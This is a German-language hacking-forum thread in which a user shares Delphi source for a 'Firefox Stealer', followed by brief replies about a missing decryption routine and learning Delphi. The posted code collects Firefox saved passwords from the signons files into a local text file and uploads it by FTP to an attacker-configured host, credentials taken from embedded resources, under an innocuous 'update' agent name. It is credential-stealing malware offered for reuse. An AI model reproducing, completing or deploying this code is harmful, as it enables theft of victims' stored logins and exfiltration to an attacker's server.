FireFox 3 stealer source

[inmate]

Ich habe zwar nicht mit delphi zu tun aber ich dachte ich poste ihn euch mal.
Das ist der source von dem firefox stealer von Seabra der hier letztens gepostet wurde.

begin
// ----------------------------------------- \\
// Criar Ficheiro
assign(pass, 'c:\firefox.txt');
rewrite(pass);
// ----------------------------------------- \\
// Receber Dados Do Cliente
ih := GetResourceAsString(pchar('HOST'), RT_RCDATA);
iu := GetResourceAsString(pchar('USER'), RT_RCDATA);
ip := GetResourceAsString(pchar('PASS'), RT_RCDATA);
// ----------------------------------------- \\
// Converter String a PAnsiChar
ihost:= PAnsiChar(ih);
iuser:= PAnsiChar(iu);
ipass:= PAnsiChar(ip);
// ----------------------------------------- \\
writeln(pass, '=====================================');
writeln(pass, '========== Firefox Stealer ==========');
writeln(pass, '===== HackHound.Org - Visit Us! =====');
writeln(pass, '=====================================');
writeln(pass, ' ');
getffinfos;
GetFirefoxPasswords('signons.txt');
GetFirefoxPasswords('signons2.txt');
GetFirefoxPasswords('signons3.txt');
writeln(pass, ' ');
writeln(pass, '=====================================');
writeln(pass, '======== c0ded By |x Seabra x|=======');
writeln(pass, '=====================================');
close(pass);
ifile:= 'c:\firefox.txt';
iremote:= PC+'_'+Numeros+'.txt';
hopen:= internetopen(pchar('update'), INTERNET_OPEN_TYPE_DIRECT, nil, nil, INTERNET_FLAG_ASYNC);
hConnect := InternetConnect(hOpen, ihost, 21, iuser, ipass, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
ftpputfile(hconnect, pchar(ifile), pchar(iremote), FTP_TRANSFER_TYPE_ASCII, 0);
end.

lG

inmate

[Hamtaro]

Da fehlt zwar das wesentliche, nämlich die Entschlüsselung, aber die habe ich hier sowieso schonmal gepostet:
http://free-hack.com/showthread.php?t=21027

[cl9wn]

Stimme meine Vorposter zu, trotzdem danke Jetzt werd ich mich doch mal wieder mit Delphi auseinandersetzen

[inmate]

np

ja ich überlege auch ob ich delphi lerne.

ich möchte eine sprache lernen die nicht auf dem .net framework basiert und leicht zu lernen ist.

also wäre delphi da eigentlich perfekt

naja mal gucken

lG

inmate

[inmate]

Kann den mal pls einer bannen der spamt das ganze forum voll -.-